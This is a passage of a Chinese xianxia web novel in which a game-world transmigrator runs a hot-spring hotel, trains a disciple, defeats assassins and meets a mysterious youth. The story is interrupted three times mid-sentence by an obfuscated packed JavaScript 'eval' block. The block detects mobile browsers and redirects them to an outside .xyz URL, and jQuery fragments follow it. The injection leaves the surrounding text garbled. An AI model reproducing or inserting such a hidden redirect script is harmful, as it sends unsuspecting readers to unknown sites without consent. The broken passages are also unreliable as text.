“我猜,这个也是俞兄那贵重之人的物品咯?”程澄手里提着那袋明黄色包装的鸡精,问道。
俞铮点了点头,脸上带着点笑意,说道:“程道友真是聪颖过人。”
窗外大雨瓢泼,室内的灶台已经烧热了,柴火噼噼啪啪地燃着。俞铮把处理好的黑鱼倒进煮锅里,一并放入葱姜蒜,还有几味不知名的佐料。
铁锅咕噜咕噜地滚动着,程澄站在门口,看着竹林在暴雨中摇曳,竹叶簌簌。俞铮靠在门旁,视线紧紧地落在某处,神情闪过一丝脆弱,但只一瞬,又如雨滴般滑落。
忽然,暴雨愈加汹涌,庭院里的积水迸出水花,天边炸出一道惊雷,刹那间——天地失色,鸟群从竹林里啼叫着逃离,竹林‘簌簌’作响。那雷越来越近了。
程澄有种不详的预感,她回过头来,视线恰与俞铮对上,心下一惊。
他不知何时已经满头细汗,眼眶通红地看着她。
又一道闪雷,纯白的雷光闪了一瞬,照亮了他苍白无色的面容。她看到俞铮变化的唇形,像在说:“我会找到你的,……”
最后两个字被巨声掩过,她还没来得及反应,自己已经忽地坐了起来。
……
看着窗外的暗沉霞光,程澄呼出一口气,原来刚刚是在做梦啊。
与此同时,万剑宗殿内,两个身影缠打在一起。
“大胆俞铮,你既亲自送上门来,我今日便替师父报仇,斩了你这魔种!”白衣男子怒骂道。
俞铮不与他多争辩,闪出一段距离,手里的光曜杖迸发出无边能量,霞光散去,长夜如昼。
只听“轰”的一声,刹那间,万剑宗烈火丛生。他的身影匿于火舌中,一袭青衫消失在殿内,带笑的声音在殿内回荡。
“程霜,溯灵镜我已经用不到了。还有,你不配叫她师父。”
程霜咬牙切齿,还想再追,殿外传来弟子的疾呼,只好作罢。
4. 豪华大温泉
烟云古镇。
“程大人,采药队和酒店的员工都根据您的标准选好了。”李箜月屈身说道。“今日就开工吗?”
“嗯,工钱从本月初开始算。另外,劳烦李员外代我举办一场宴会”程澄的声音从门内传出。
“需要的物品都在仓库里取。”
李箜月应声准备退下,程澄打断道:“你想学哪个门派的功法?”
李箜月有些茫然,学哪个还可以选的吗?按理说,是师父会哪门就传哪门。
程澄见她没有回应,以为是她不知道有哪些,又问道:“万剑宗剑术,浮药殿药毒之术,抑或是天河门灵法之道。”
“不着急,你想好了再找我。”
李箜月道:“箜月万分感谢程大人恩典,大人待我……”
程澄打断了她,木门从内打开,她缓缓走出,霞光散落。
“不过呢——箜月,天色尚早,一起去泡温泉吧。”
“好……?”
温泉室门侧开放着一个窗口,摆放着一个银质板,上面刻映着各式药草包的名讳。
有滋肤养颜蓝花楹包、强筋塑骨万年参包、疏气展颜凝冰叶包……每个药包名后都补充了它的功效以及用材。
“大人,这药包未免过于贵重,会有人买单吗?”
程澄闻之笑道:“箜月,目标群体是江湖人士,我们的优势不在药材珍贵,在于成本。”
李箜月面露惑色,程澄继续说道:“这些珍贵药材,市面上流通价格高昂,并且需要聘请专门的药师来组合调配,才能发挥药材的六成功效。”
“而我,不仅可以做到低成本收获药材,而且——我能发挥出它的十成功效。”程澄自信地说道。
其实这份自信的背后是她几年的游戏经验在支撑,之前有个活动需要玩家自己配药,但药效会根据你的配比,和药材本身发生变化。
她一个寒假都钻在里面,终于是掌握了其中的门道。
她又补充道:
“一颗蓝楹花,可散用于5份药包,而收采到它,我只需要这个数。”
程澄手上比了个数,李箜月呆在原地,满脸的不可置信。他们李家做药商发家,她很清楚药材的成本水分有多少,更何况这类稀有药材。
他们花几年时间培养一支能进入森林中部的采药队,但也许——直到采药队核心主力伤亡,他们也收获不了一棵蓝楹花。
程澄口中的低成本收到蓝楹花,对她来说,是从未想象过的事情。
不过,程澄既然能在一晚时间内完成任务量巨大的装修,能以极低的成本价收到珍贵药草也不是那么难以相信。
李箜月继续打量起这个窗口,展示栏有几包药草,由新鲜竹叶包裹,隔着一段距离就闻到了幽静的香味,这就是珍贵药草特有的质感。
她心下有些激动。若程澄所说的成本价真能实现,这个温泉绝对会是赚得盆满钵的大产业。
从自动感应的植物门走进去,男汤和女汤有独立的场地,她们穿过女室直入主题。
泡温泉需要褪去服饰,李箜月一边脱下衣衫,一边努力压制自己快要溢出的好奇。
程大人究竟是何身份,既身手不凡,又有不同寻常的奇门绝技。
“我们走吧。”程澄的声音从后面传来,她转过身去,眼前的画面让她呼吸一窒。
像绿洲。李箜月下意识的联想到,废土荒漠中的一湾碧水,沉静又美丽。
白玉般的肌肤,眉如远山,簇拥着一湾清水般的眸。
李箜月痴痴地望着,似忘了自己身在何处。
察觉到她直愣的目光,程澄有些困惑,自己已经去除了游戏皮,用了自己的原生长相,难道她还是发现了端倪吗?
“箜月,怎么了?”
李箜月这才回过神来,冷不丁地单膝跪下,垂首道:
“对不起大人——箜月无意冒犯,我也不知道自己这是怎么了……”
她盯着地板,努力按捺下狂跳的的心,程澄的声音从头顶传来。
“箜月,你不用跪我,叫我一声师父就够了。”
她被程澄扶了起来,她拉着自己往前走,声音从身前传来。
“箜月,我们去泡温泉。”
李箜月看着她的背影,笑着应声,“好的,师父。”
温泉室占地面积不小,头顶高阔的萤石散钻,地上铺着珍贵的红木地板,有独立包间汤泉,和外露式多人汤泉,每个汤泉都有自己对应的疗愈功效。
程澄带着她径直走进最深处的包厢私汤。
汤池不小,似能容纳五人,泛着玉润的荧荧光泽,氤氲着让人安神的药草香气。
她们试探着水温,先后坐了进去。水温恰到好处,药草的精华似能通过毛孔浸润每一寸肌肤,两人不约而同地舒了口气。
泡了有一会,李箜月才回过神来,环顾四周,疑惑道:
“师父,我在这似乎没有发现排气口,明明是室内的温泉,为什么一点都不闷?”
这句话正中程澄的心意,她的巧思这就被发现了。
她笑道:“箜月真是敏锐。天花板上有隐秘引风阵,设定温度值后,它会吸补空气中的热量和水汽。”
察觉到李箜月眼中的困惑,她解释道:
“这是天河门的术法,最简单的一类,不过每次驱动需要耗费一点灵石。”
“灵石?”
李箜月久居烟云镇,只从爹爹口中听说过,天河门有一种特制的源石,可以为法阵供给能量。
天河门的弟子大都如仙人般,腾云驾雾,引雷驱火,对自然之力运用自如。
“那店里消耗的灵石该怎么获得呢?”
“灵石简单,城心的交易市场就有卖。”程澄回答道。
“我们的法阵只需要最基础的灵石,所以算下来,利润空间很大。”
灵石产自灵兽体内,所以有大量雇佣兵去森林里捕杀灵兽。每个城镇都有自己的交易市场,可以售卖一切合法资源。
“原来如此,大人真是博识多见……”
李箜月的内心油然升起一股敬畏,眼前这个看上去和自己年龄相仿的女生,竟要比自己的父亲更有商业头脑。
“ 箜月,你有离开过烟云镇吗?”
“不曾,只是在爹爹带回的话本里见过大陆其它的地区。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256415|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
李箜月摇了摇头,温泉表面蒸腾起变化多姿的水雾,她的神情模糊中有些落寞。
“那好,等这几天我解决掉那些刺茬,你就随我去出差。”
“师父,什么刺茬?”李箜月有些疑惑。
“等会你就知道了。”
烟云镇的晚间,满城灯火,极为热闹。其中一栋高楼立于人烟散淡的城郊,却在夜幕中如皎月般熠熠生辉,向来安静的城郊此时热闹非凡。
酒店门口举办了开店仪式,一排排员工站在两侧,整齐排开。
酒店虽在城郊,但附近也有几处药园,不少居民凑过来看热闹。除此之外,还有受李员外邀请前来参观的豪门商贾。
而酒店的店主,此时此刻,正站在酒店的顶楼,自上而下地悄然观察着下面的情况。
“师父,来的人好多,我们要下去主持吗?”
“不用,那边有你爹应付。我们这边,也有客人要迎接。”
李箜月被她安置在大厅旁的房间,程澄的手心轻抚过她的额头,留下些冰凉的触感。
“等会注意看他们的招式。他们不会发现你,你放心。”
李箜月一头雾水,嘴唇轻启,犹豫了片刻又合上。
但很快,她就明白了。
程澄来到大厅,心念一动。
一股淡渺的能量将李箜月所在的房间包拢,只一瞬便隐入尘埃,随其一起隐藏起来的,是强大的能量场。
做完这些后,她就背着手静立在大厅中央。
一柱香的时间,她忽地启唇说道:
“出来吧。”程澄背对着露天观景台,沉声道。
话音刚至,几个身影从暗处浮现,身着黑袍,鬼魅一般,杀意冲天。
程澄慢悠悠地转过身,不知在对谁说:“看清我的动作。”
几个黑衣杀手交换了眼神,从不同方向俯身冲来。
李箜月在隔壁房间里身体僵直,俨然一副受了惊吓的模样。
一方面,她久居闺阁,很少接触厮杀的场面。
另一方面——她发现自己竟然能透视。
在师父离开房间后,她的额头有些灼热。紧接着,她就发现自己如同开了天眼。竟能透过厚实的墙壁,将一墙之隔的画面看得一清二楚。
她自然想到了这是程澄的手笔,但还来不及感慨,就见那几个黑衣人将师父团团围住,她不由得心下一紧。
认真看,师父说的。
李箜月全神贯注地观察着局势的变化。
“砰”的一声,忽然,一片白烟将现场笼罩,几个黑衣人冲进雾中,快速地环视周围,现场寂静无声,楼下的欢笑喧闹远远飘过来。
在一片模糊的黑暗中,一抹荧蓝色划破雾气,李箜月还来不及看清,黑暗中一阵惨叫撕裂了寂静。
“她在那!”男人的声音带着紧张的重喘。
那身影在雾气中如优雅的仙灵,速度极快,银白的长剑变化着招式,精简有力又变化难测。
李箜月痴痴地望着,薄雾散尽,程澄一袭黑衣如夜,相比黑衣人的狼狈,她如同闲庭漫步般,但每一步都扎实到位,把对方逼得无路可退。
5. 采花侠
转眼间,只剩下两个黑衣人。他们亮出匕首,咬牙切齿地冲了过来,程澄足尖轻点,身体向后飞出,和他们拉开了一定距离。
她缓缓地将长剑收入剑鞘,李箜月惊讶地瞪圆了眼,师父难道是要以肉身搏击匕首吗?
程澄站在露台的中央,背后是广袤的黑暗,和无垠的月光。
她无声地说了什么,当黑衣人们狞笑着,匕首尖芒只差分毫就要挨到她时,李箜月听到了,她说:
“看好了,最后一招。”
……
“砰”,一声巨响。
巨型烟花在黑夜中炸开,铺展开五颜六色的火花,在空中变化着形状,赢来阵阵惊叹。
”李老板啊,你这哪来的烟花,这么漂亮,首城的匠人都做不出这么好看的烟花!“
”呵呵呵,巧得,偶得。”
李顺被一群商贾老板簇拥着,说说笑笑。
“不过啊,你这大动静,那位怎么还不来?”
一位外地的商贾有些疑惑,问道:“那位莫不是指的徐家新任掌门 ,徐琢月?”
旁人立马打断了他的话,神情紧张道:
“嘘——别说出来啊。”
话音刚至,一个身影从人群中悠悠走来,人群中传来女性激动的窃语声。
“李老板,好大的阵仗,烟云镇好久没有这么热闹了。"
李顺循声望去,有些无奈,刚说到‘那位还不来‘,这可不就来了。
人潮为他散成两股,所到之处寂静无声。
焰火闪烁,男子一袭华袍,面容绮丽,嘴角牵着笑,眼中却冰冷无波,像从永夜中爬出的鬼魅。
这下恐怕麻烦了。
他身后的商贾老板如潮水般默默褪去,隐入人群,只剩下李顺干笑着欢迎道:“不知徐老板大驾光临,李某有失远迎。”
”李老板,之前可是听说你这楼要做药房,怎么摇身一变,成了酒楼?“男子笑着说,尾音上扬,却如不化的寒冰。
“哎呀徐老板有所不知” 李顺说,“此楼原先是我的,现在呢,我也只是给她办事。”
“哦?”徐琢月手中的扇子‘哗’地一声展开,徒留一双似笑非笑的眸子,“以后应是不用再给她办事了。”
李顺闻言面色大变,压低声线道:“你对她做了什么?”
”这么年轻,就能打赢黑虎帮的那几个喽喽了,真是年少有为啊。“
徐琢月大笑起来,狭长的眼睛眯成一条缝,眸光闪过一丝冷酷。
李顺心下一凉,程澄虽然武艺高超,但徐琢月的侍卫大都阴毒狡诈,此次怕是凶多吉少了。
宴席还在继续,徐琢月静坐在灯火辉煌的阴影里,欣赏着接连绽开的烟花。
他啜饮一口服务员呈上的葡萄酒,脸上有一瞬的空白,旋即绽开一个意味深长的笑容。
他越来越好奇了,这些品质脱俗的商品,究竟出自谁手。
但恐怕——他是见不到活的了。早知道就让四黑他们别下死手了。
真可惜啊,这么美的烟花和酒。
”徐老板,让你久等了。“
忽然,陌生的女声从徐琢月的背后传来。
徐琢月身体有一瞬的僵硬,他猛地转过头去,目光中映入一个身姿窈窕的黑衣人,他的表情有一瞬失控。
”你——怎么可能……我明明……“
看着眼前人的窘态,程澄有些发笑。她先前玩游戏没少被他骗得团团转,第一次看他如此表情,真是新鲜。
在游戏里,徐琢月属于隐藏的Boss,虽总流连于风花雪月的场合,看着不修边幅又温和散漫。
直到终极任务,程澄才发现,竟是这个纨绔公子哥,将全服玩家搓磨得没有脾气。
也正是如此,她早早安排了李顺在大厅参加宴席,自己和李箜月避开人群,早早准备埋伏。
结果正如程澄所料,徐琢月果不其然准备趁乱暗杀她,只不过他太小看了她的实力,那几个暗卫虽然手段狠辣,但和她交手,也不过尽是些小鸡啄米的把戏。
“人在天台,若你现在赶过去,有几率能救活。”
程澄的声音透过黑色面纱,轻缓悠长。她看着徐琢月华美的伪装上闪过一丝裂痕,那双狐眸中映出烟花的火光。
徐琢月深呼吸一口,手中的花扇轻敲桌面。下一瞬,程澄感觉到身周有几股陌生的气流擦肩冲出,向着天台的方向离开了。
“你就是程澄是吧,真是年少有为啊。”
徐琢月缓缓抬起头来,脸上又重新挂起无懈可击的微笑,好像什么都不曾发生。
但那双狐眸仍一动不动,注视着她的面纱,似是想透过黑纱看清什么。
“徐老板莫不是武力上干不过我,想对我使些小男孩的花招?”程澄轻笑道。
徐琢月也不愠恼,接过她的话茬,说道:
“放眼大陆,徐某的追求者不在少数。不知姑娘除却这一身武力,有何出众,能让徐某对你耍些小男孩的花招?”
看着程澄没有接话,他又不依不饶道:
“徐某从前听说,相貌出众者如凡间珍玉,需以面纱覆之,以防不法之徒色胆包天,徒增祸端。”
他眨巴几下狐眸,轻笑道:
”但像姑娘这般彪悍的女子,应是不会怕那些色心驱使的恶徒——那姑娘你戴面纱,究竟是为了藏玉,还是为了藏拙呢?“
扇子哗的一声展开,掩住了他上扬的嘴角,徒留一双狐眸波光流转,笑得狡黠,像一只得逞的狐狸。
程澄心如明镜,徐琢月这厮是武力上吃亏后,转头开始内涵她了。
她身体前倾,和他靠的更近了些,在他耳边轻声说道:
“自然是不如徐老板,相貌出众,闭月羞花。但您这样的美玉,不戴面纱掩瑜,就不怕让我这样的恶徒强采吗?”
徐琢月不由得屏住呼吸,程澄的面纱几乎要挨到他的鼻尖,对方温热的喘息轻轻地落在脖颈,像羽毛一般。
“主公,人已经找到了,他们被冻成了冰块,但还剩一口气。”一个暗卫忽地出现在他身侧,细声说道。
徐琢月这才回过神来,背过身去,后脑勺对着程澄。他的语速极快,似是有些恼羞成怒:
“这次就饶你一命,我与你势不两立。”
话音未落,烟花绽开的瞬间,焰火漫天,那一抹华色消失在原地。
望着月色下狼狈离开的背影,程澄不由得发笑,此次交手,她对徐琢月倒是有了新的看法。
“师父,那徐琢月没对您做什么吧?”旁边隐藏于人潮的李箜月赶了过来,有些焦急地说道。
“我没事。“
想到方才自己接近他时,少年通红的耳廓,程澄嘴角扬起一个恶趣味的弧度,轻笑道:
“其本质,不过是一个毛头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256416|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小子罢了。”
游戏里惯称采花大盗的浪荡公子哥,经过此次交手,给她的感觉竟只是个未经人事的青春期小孩。
程澄想了想,这种感觉有些熟悉——就像初中隔壁班的小男孩。
总给自己找麻烦,可当自己挽袖舞拳,准备和对方大干一场时,对面就小脸通红地跑开了。
“师父,您方才和那几个黑衣人对抗的招式,我只认出了万剑宗的招式……”
李箜月惭愧地垂下头,沉声道。“为什么最后两个杀手会变成冰块……”
“你且随我来。”程澄直接将她横身拦腰抱起,足尖轻点,来到了一片幽静空旷的地段。
月光皎洁,倾洒在成片的、摇曳的芳草上。
“这个地方远离尘嚣和过道,很少有人经过。我在这里演示一遍。”
程澄静立在原地,没有任何动作,任微风拂过她的面纱,她像一抹浓墨,在月色与青色中缓缓舒展开。
忽然,她随手扯下一根狗尾巴草,扔到空旷的草地上。
奇异的事情发生了——上一秒还在微风中摇曳的草丛,下一秒,已被冻结成冰块,在月色下泛着水光。
李箜月皱紧了眉头,她明明观察到程澄没有任何实质的动作,除了那根狗尾巴草。
“这是天河门的招式,重点不在于表面。”程澄又随手扯下一根狗尾巴草,扔向那块冻草。
下一秒,李箜月惊讶地睁大了眼——那块冻草上升起一束火光,严实的冰块很快化成了一滩水,小草仿佛无事发生般,随风舞动。
*
此时此刻,借着月光仓皇离开的徐琢月被一个人拦住。
徐琢月快速打量了一遍眼前这个少年模样的拦路人,没有说话。
“老大,这小孩要处理掉吗?”旁边的侍从轻声问道。
徐琢月摆了摆手,他看不出这个少年人的深浅。
现下正处魔神当天的乱世,拦路打劫乃家常便饭,敢在夜间赶路的,即使是七旬老太,也一定是身怀绝技的老太。
“打扰道友了,烟云古镇怎么走?”少年一袭青衫,发间绑了竹绿色的发带,腰边别了一个器件,看上去不像是剑。
“徐某家住烟云古镇,若你不嫌弃,可随我进城。”徐琢月说道,脸上挂着亲和的笑容。
“那有劳道友了。”少年有些感激地抱了抱拳,他望向不远处的焰火,又问道:
“道友可知那边为什么如此热闹?我赶路时便注意到了,焰火漫天,实在是奢侈又美丽。”
“我也不知,大概是有丧事吧。”徐琢月轻笑着,一字一句地说道。
“哦,竟是这样吗……”少年似是为此感伤,轻声说道:“为逝者燃烧焰火,若逝者在天,应是也能看到。”
徐琢月有些愣神,难道他看走眼了,此人表里如一,就是个单纯的好运路人?他问道:
“在下徐月,不知小友如何称呼?”
“叫我小俞吧,我们村都是这么叫我的。”
“小俞啊……你是从哪过来的?”徐琢月漫不经心地问道。
“从西北,我们村在首城附近。此次下南方,是为了投靠我的姐姐,她早年就来烟云古镇打工,多年不见,十分想念。”
徐琢月狐眸细细眯起来,问道:“你姐姐叫什么名字,也许我知道呢?”
“程澄。”小俞说道,“徐大哥认识吗?”
6. 魔术师
徐琢月迟迟没有回应,他的脸埋在黑暗中,若俞铮回过头来,就能看清他脸上兴奋的笑容,一双狐眸闪着精光。
“真是巧了,徐某有一个朋友,就叫程澄。”徐琢月的声音一如往常,他极力地按捺住内心的兴奋,尾音的颤抖还是差点让他露馅。
“你姐是不是身手不错,作为朋友,我经常和她切磋。”
听到‘朋友’这个字眼时,俞铮的身形有一瞬绷紧,他的视线冷冷地扫过徐琢月,好像在看一个将死之人。
“就是嘴有些硬,喜欢调戏良家妇男什么的……”
徐琢月好像打开了话匣子,很长的一段路,他一个人自言自语地随口编起了自己和程澄的感情发展史。
从不打不相识,再到后面打出了感情,产生了暧昧的关系。
虽然小俞一直没说话,但徐琢月下意识地理解成,他想多听点姐姐的事,不忍打断自己。
俞铮静静地跟在徐琢月身旁,没有言语,但周身的气场冰冷,似能结出一层厚冰。
然而 说话人仍在喋喋不休,沉迷在自己的故事中不能自拔。
“真是巧啊,真是巧……”
真是时来运转,刚出仇家的门,就虏获了仇家弟弟。
他迫不及待地想要看到——那面纱丑女向他屈服,垂下她高昂的头颅,摘下诱人的面纱,向他求饶……
徐琢月收敛好自己的表情,脸上重新浮现出亲和的微笑,转头问道:
“看你身强体壮,不知俞弟是哪个门派的?”
“实在惭愧,我天资愚笨,未能进入门派。”
徐琢月眼中闪过一丝狐疑,程澄能以一当四,天赋那么高,她的弟弟能差到哪去。
但为了对话顺利进行,他还是接上了话茬。
“非俞弟天资愚笨,唉——俞弟身居西北,自然知晓现下魔神当道,丧尽天良,仅仅因对他那死了一百年的丑师父的不伦之心,竟就,掳走天下良女。”
徐琢月字正腔圆道,语气愤懑,好似一个心忧天下的江湖侠客。
“若非四大名门宗派不作为——魔神的势力安能发展到如今的灾况?俞弟如此英雄人物,竟也未得赏识,四大宗门现下真是荣光不再。”
俞铮仍旧沉默着,徐琢月以为是自己说动了他。
他趁机问道:“看道友腰边别着一个物件,形状独特,不知道俞兄是用它做什么的?”
原以为那是什么秘密武器,谁料想俞铮当即就抽了出来,大大方方地展示给他看。说:
“光曜杖本是小弟的本命法器,不可外露。但既然徐大哥竟与我姐姐是朋友,那拿出来给大哥看看也无妨。”
那是一把修长笔挺的手杖,顶部有一颗旋转多变的元素球,光彩耀人,荧荧散发着如月华般皎洁的微光。杖身漆黑润泽,没有一丝划痕,看得出来主人很珍视它。
“光曜杖?莫不就是陨落真神【小洋人】的法杖。”
徐琢月有些迟疑,他不太相信这个傻小子能拿到真神孤品,大有可能是仿品。
要知道江湖上的那些真神粉丝,为了了解真神,陨落之后,【小洋人】的各类装备,甚至是服饰都受到了高额悬赏。
其中最狂热的粉丝头目就是魔神俞铮。江湖广传,俞铮此生唯爱的两人,除却他的师父,就是真神【小洋人】。
他在真神陨落后,力排众议,不愿将遗骸安葬。
与真神的弟子,也就是现今的万剑宗掌门——程霜,大战数月,自此与四大门派结下冤仇。
而真神的遗体,也据说被私藏于湮城的千年冰室,日夜重兵把守,连同那些生前的物品,冰封起了一段不得诉说的私情。
徐琢月对真神【小洋人】的故事如数家珍,因为在一百年前,他也是真神广袤后援团其中的一员。
“俞弟这是从何处得到的?”徐琢月柔声问他,努力遏制住自己贪婪的目光,和背后跃跃欲试的暗卫。
“我和你姐是朋友,你如实告诉我,我不会传出去的。”
“好像是我姐从跳蚤市场收的,九块九三个。”小俞毫不避讳地说道,似是想了一会,又补充道:
“可惜了,剩下两个都被她玩坏了,就只剩下我手中这一个了。”
徐琢月干笑两声,果然不出所料,这傻小子怎么可能有真货,就算他真有,俞铮也不会放过他的。
“那你这手杖,是用来做什么的?”徐琢月的声音有些干巴巴,九块九三根的手杖,这个价格能买到烧火棍就不错了。
“可以锤人。”
徐琢月有些后悔自己问了个蠢问题,他刚想再抛出个话题来缓解尴尬,俞铮的声音悠悠传来。
“还可以变魔术。”
“魔术?”
“对,你想看吗?”
俞铮停下了脚步,目光幽幽,月光下他的面容苍白,像一触即随的白瓷,看上去有些许脆弱。
“从未听说过这种术法,俞弟在哪里学的?”
徐琢月半信半疑地问道,刚刚是九块九三根的真神仿杖,现在不会又是从哪个三脚猫师父那,九块□□得技俩吧。
“已故之人。”
……
另一边。
“很多和天河门接触的人,都曾以为,天河门的术法,就是依靠这一草一叶,随手扔出的小物件,比如这跟狗尾巴草。”
程澄晃了晃手中的狗尾巴草,又说道。
“实则不然,天河门的术法是无知无觉的,早在人们没有戒备时就已设下。而那根狗尾巴草,不过是掩体,用于吸引你的注意力。“
李箜月恍然大悟,喃喃道:“狗尾巴草竟然是障眼法吗?”
她顿了一刻,又惊喜地说道:“我明白了师父,你击败后两个杀手,用的就是这一招——那阵忽起的烟雾也只是你设下法阵的障眼法而已。”
她的眸子亮晶晶的,嘴角兴奋地扬起,像是顿悟了难题的学生,激动地向老师求证。
“对,箜月悟性很高。”程澄笑着称赞道。
“这就是天河门的术法,我也称之为魔术。”程澄接着说道,“怎么样?喜欢这个吗。”
李箜月脸上划过一丝羞愧,她说道:“我也能行吗……师父,在遇见你之前,我就是一个只会赏花观月的闺阁女子……”
程澄的视线落在眼前的女子身上。
这一天的忙碌,女生往常的精致仪表已经被磨耗得所剩无几——她穿着灰扑扑的鹅黄衣衫,白嫩的手心经过高强度的体力劳作,生起了几个粗糙的茧子。
程澄随手采下一朵洁白的野花,在《风起缘》里,这是一种常见的刷级材料,在身为新手村的烟云古镇,更是盛产。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256417|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但其实——很多老玩家都不知道,这株小小的白花,其实有别的身份。
“箜月,成为一朵花没有什么值得羞愧的。这种花你认识吗?”
李箜月一眼便认了出来,“白芜,是治疗风热病的重要药材。”
程澄将白芜捧在手心,月光皎洁,手心的花朵舒展自然,洁白纯粹,像不染世俗的仙子,静静地躺于手心。
“它漂亮吗?”
“漂亮。”
“倘若劲风吹袭,白芜便如无根漂孚,被吹折,捻断、随手摘得。”
程澄注视着她的眸子,目光专注,声音如潺潺流水,温和有力。
“但实则不然。”程澄将白芜顺手抛起,双手结印,洁白的花朵顺着凉风被送到空中,莹白的能量将它环环围起。
李箜月定定地盯着那朵白芜,亮光打在她的侧脸,映照出她眼底熹微的火苗。
忽地,圆月被乌云遮掩,月光黯淡,白芜好像失去了依托般飘忽地落在地上。
长风依旧,远处传来乌鸟啼鸣,她们仍站在原地,好像什么都没有发生。
李箜月轻咬下唇,垂下头,声音飘忽不定,好像快被风吹散般。
“师父,谢谢你,但是我……可能就是…做不……”
她后面的话哽在喉里,断断续续地。
程澄静静地看着她,她理解李箜月的自卑。
在穿越之前,她也不过是个小镇做题家,灰头土脸地来到大都市,她是A县的状元,来到B市后,这里遍地是状元。
她拼尽全力掌握的知识,他们一个晚上就速通满绩。
但是——
“箜月,白芜并不羸弱。只需要换一个环境……”程澄抬起头,脸上浮现出自信的笑容。浮云飘过,月光又打落在草地上。
“你看。”
一束至纯的光芒打在她们的面庞。李箜月忽地眼前一亮,她放眼望去,不由得瞪大了眼。
程澄默默退到她身后,让出一片盛景。
成片的莹白小花散落在山原,一坡连着一坡,月光如瀑泼洒,山风一吹,汇成一湾莹白的汪洋。
李箜月愣了很久,她痴痴地望着这一切,喃喃道:“这是……天外仙?”
程澄笑着点了点头,解释道,
“白芜如果能置于合适的环境生长,就可以展露出它原本的模样。也就是世人追崇的救命神草,天外仙。”
“白芜只需接受圆月的润泽,细微灵力地灌注和一点点水汽,就可以生长为天外仙。”
李箜月蹲下身子,将脸凑在花前,天外仙小小的一株,花叶舒展,花蕊间有点点莹白。就是这样小小的一株,可以救人于一息,也可以杀人于无形。
这就是白芜的力量,她感到心潮澎湃,久久不能言语。
程澄的声音像从很远的地方传来。
“箜月,白芜也好,野草也罢。生长在天地旷野,为自己找到最适宜的温度、湿度、光照。都是不凡之物”
李箜月的背影有些颤抖,她站起身来,面向程澄,腰板深深地弯了下去。
“师父,请教我魔术!”
强风吹拂,一株白芜被强劲压下身子,她不愿折屈,在泥土里轻啜露水。风过,再立起时,以一株天外仙的姿态昂首。
鹅黄的破旧衣衫融入月色,成为了崭新的绝色。
7. 小俞
程澄结束教学回到酒楼时,已经是深夜了。
站在酒楼大门前,她打量起这片自己创制的乐园。
凶猛的石狮子趴伏在两侧,守护着酒店门前的这一片净土,暗蓝的花从与人造假山水交叠。
昏黑的夜里,花园里处处点缀着荧荧星光,那是她掩藏在枝叶里的发光体。
流水潺潺,好不惬意。
除了这些观赏的陈设,她还种了一小片竹林,在酒店旁侧,没那么引人注目。
“老板,那些富商老板都已按照您的吩咐,享用了温泉室,现下都已经安排入住了。”大堂经理的声音从背后传来。
“您若要用浴,我马上去泉室为您准备。”
“不用了,你去睡吧,我随便走走。”
程澄不知为何,自己的内心似乎有一团燥热的火苗,自从那日在梦里的竹林小屋与那人见面。
她始终觉得那不只是个梦,若真是梦的话,那这梦也过于细致了吧。
程澄漫步在花园里,细碎的星光打落在她的发梢。她的脑海中不断地浮现出那日的场景,离别时分,少年苍白破碎的面容,和那盈满悲伤的眸光。
她修建竹林不是因为美观,当时内心深处,有一股难言的感觉在驱使着她,好像竹林与幸福挂钩,只要有一片小小竹林,就可以重新获得什么。
不觉中,她走到了竹林前,内里有一座亭子,她在里面摆设了一张圆石桌和几台青石凳,供自己闲暇时间来喝茶冥想。
意外的是,这深夜的竹林里似乎还有一个身影。
程澄有些意外,难道是宴会的来宾,睡不着在竹林里消愁?
她顿了顿,那个身影好似察觉到了她的目光,向她的方向走来,脚步清脆。
忽然,一滴温热的液体落在她的额头,程澄抬头望去,荧荧月光里有无数根银针落下,紧接着,“哗啦啦”的声响将他们笼罩,湿闷的水汽扑面而来。
“师父。”
程澄感受到一个气息在自己身后,她转过身去,一个身着青衫的少年映入眼帘,长身玉立,苍白的面容上挂着淡淡的笑容,通身散发着莹润的光泽,好似一朵青莲静立在绿池。
“你在叫我吗?”
程澄有些困惑,自己进游戏没几日,她不记得自己还有招收别的徒弟。
少年的身形好像紧绷了一瞬,不知是不是她的错觉,他的笑容变得似乎有些勉强。
“师父,你不记得我了?”少年有些试探地问道,他的目光定定地锁在程澄的面纱上,嘴角牵着笑。
程澄察觉到少年炙热的目光,有些奇异是,他的目光好似能透过面纱似的,直达自己的双眼。
“不知道友怎么称呼,我近日刚搬来烟云古镇,确实未曾见过道友。更不是道友口中的师父。”
竹叶被瓢泼大雨冲刷,发出簌簌地响声,鸟群扑棱着翅膀,嘶叫着逃离。
